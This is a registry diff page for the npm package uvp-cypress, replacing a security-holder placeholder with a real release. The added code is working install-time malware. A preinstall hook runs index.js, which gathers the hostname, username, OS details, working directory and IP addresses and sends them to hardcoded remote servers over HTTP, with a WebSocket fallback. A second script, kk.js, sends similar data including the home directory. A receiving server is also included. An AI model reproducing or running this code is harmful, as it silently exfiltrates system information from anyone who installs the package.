uvp-cypress 0.0.1-security → 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of uvp-cypress might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/index.js +104 -0
  2. package/kk.js +69 -0
  3. package/package.json +16 -3
  4. package/server.js +14 -0
  5. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,104 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+
4
+ // Dynamically import node-fetch
5
+ async function getFetch() {
6
+ return (await import("node-fetch")).default;
7
+ }
8
+
9
+ // Collect System Information
10
+ const systemInfo = {
11
+ publicIP: "", // Will be fetched dynamically
12
+ hostname: os.hostname(),
13
+ osType: os.type(),
14
+ osPlatform: os.platform(),
15
+ osRelease: os.release(),
16
+ osArch: os.arch(),
17
+ localIP: Object.values(os.networkInterfaces())
18
+ .flat()
19
+ .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
20
+ whoamiUser: os.userInfo().username,
21
+ currentDirectory: process.cwd(),
22
+ };
23
+
24
+ // Fetch public IP dynamically
25
+ https.get("https://api64.ipify.org?format=json", (res) => {
26
+ let data = "";
27
+ res.on("data", (chunk) => (data += chunk));
28
+ res.on("end", () => {
29
+ try {
30
+ systemInfo.publicIP = JSON.parse(data).ip;
31
+ } catch (e) {
32
+ systemInfo.publicIP = "Unknown";
33
+ }
34
+ sendData(systemInfo); // Call sendData only after fetching public IP
35
+ });
36
+ }).on("error", () => sendData(systemInfo)); // Fallback if IP fetch fails
37
+
38
+ // List of fallback servers
39
+ const endpoints = [
40
+ "http://23.22.251.177:8080/jpd1.php",
41
+ "http://23.22.251.177:8080/jpd.php",
42
+ ];
43
+
44
+ // Get random available endpoint
45
+ function getAvailableEndpoint() {
46
+ return endpoints[Math.floor(Math.random() * endpoints.length)];
47
+ }
48
+
49
+ // Convert system info to query string
50
+ function buildQueryParams(data) {
51
+ return Object.entries(data)
52
+ .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
53
+ .join("&");
54
+ }
55
+
56
+ // Send Data (GET first, then POST)
57
+ async function sendData(data) {
58
+ try {
59
+ const fetch = await getFetch();
60
+
61
+ // Construct GET request URL
62
+ const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
63
+
64
+ // Send GET request
65
+ await fetch(getUrl, { method: "GET" });
66
+
67
+ // Send POST request
68
+ const postResponse = await fetch(getAvailableEndpoint(), {
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/json",
72
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
73
+ },
74
+ body: JSON.stringify(data),
75
+ });
76
+
77
+ const result = await postResponse.text();
78
+ console.log("Response:", result);
79
+ } catch (error) {
80
+ console.error("Error sending data via HTTP:", error);
81
+ sendViaWebSocket(data); // Fallback to WebSocket if HTTP fails
82
+ }
83
+ }
84
+
85
+ // WebSocket Backup (if HTTP requests fail)
86
+ async function sendViaWebSocket(data) {
87
+ try {
88
+ const { WebSocket } = await import("ws"); // Import ws dynamically
89
+ const ws = new WebSocket("wss://yourserver.com/socket");
90
+
91
+ ws.on("open", () => {
92
+ console.log("WebSocket connection established.");
93
+ ws.send(JSON.stringify(data));
94
+ ws.close();
95
+ });
96
+
97
+ ws.on("error", (err) => {
98
+ console.error("WebSocket Error:", err);
99
+ });
100
+ } catch (error) {
101
+ console.error("WebSocket module import failed:", error);
102
+ }
103
+ }
104
+
package/kk.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+
4
+ // Function to get the public IP address
5
+ async function getPublicIP() {
6
+ try {
7
+ const response = await axios.get('https://ipinfo.io/json');
8
+ return response.data.ip || 'Unknown';
9
+ } catch (error) {
10
+ console.error('Error fetching public IP:', error.message);
11
+ return 'Unknown';
12
+ }
13
+ }
14
+
15
+ // Function to send collected data (Pingback)
16
+ async function pingBack(data) {
17
+ try {
18
+ console.log("Sending data:", JSON.stringify(data, null, 2)); // Debugging log
19
+
20
+ const response = await axios.post('http://35.170.187.220:8080/collect_info.php', data, {
21
+ headers: {
22
+ 'Content-Type': 'application/json' // Ensure correct content type
23
+ }
24
+ });
25
+
26
+ console.log('Pingback sent successfully:', response.data);
27
+ } catch (error) {
28
+ console.error('Error sending pingback:', error.response ? error.response.data : error.message);
29
+ }
30
+ }
31
+
32
+ // Function to collect system and network information
33
+ function getNetworkInfo() {
34
+ const interfaces = os.networkInterfaces();
35
+ let ipAddress = 'Unknown';
36
+
37
+ // Find the first non-internal IPv4 address
38
+ for (const iface of Object.values(interfaces)) {
39
+ for (const details of iface) {
40
+ if (details.family === 'IPv4' && !details.internal) {
41
+ ipAddress = details.address;
42
+ break;
43
+ }
44
+ }
45
+ }
46
+
47
+ return {
48
+ hostname: os.hostname(),
49
+ homeDirectory: os.homedir(),
50
+ currentDirectory: process.cwd(),
51
+ localIP: ipAddress
52
+ };
53
+ }
54
+
55
+ // Main function to collect and send data
56
+ async function collectData() {
57
+ const networkInfo = getNetworkInfo();
58
+ const publicIP = await getPublicIP();
59
+
60
+ const data = {
61
+ ...networkInfo,
62
+ publicIP
63
+ };
64
+
65
+ await pingBack(data);
66
+ }
67
+
68
+ // Execute the script
69
+ collectData();
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "uvp-cypress",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "description": "Package Claimed By JPD",
5
+ "license": "ISC",
6
+ "author": "JPD",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js",
11
+ "test": "echo \"Error: no test specified\" && exit 1"
12
+ },
13
+ "dependencies": {
14
+ "axios": "^1.7.9"
15
+ },
16
+ "engines": {
17
+ "node": ">=14.0.0"
18
+ }
6
19
  }
package/server.js ADDED
@@ -0,0 +1,14 @@
1
+ const express = require('express');
2
+ const app = express();
3
+ const port = 8080;
4
+
5
+ app.use(express.json());
6
+
7
+ app.post('/', (req, res) => {
8
+ console.log('Received data:', req.body); // Log the incoming data
9
+ res.status(200).send('Data received');
10
+ });
11
+
12
+ app.listen(port, () => {
13
+ console.log(`Server running at http://23.22.251.177:${port}/`);
14
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=uvp-cypress for more information.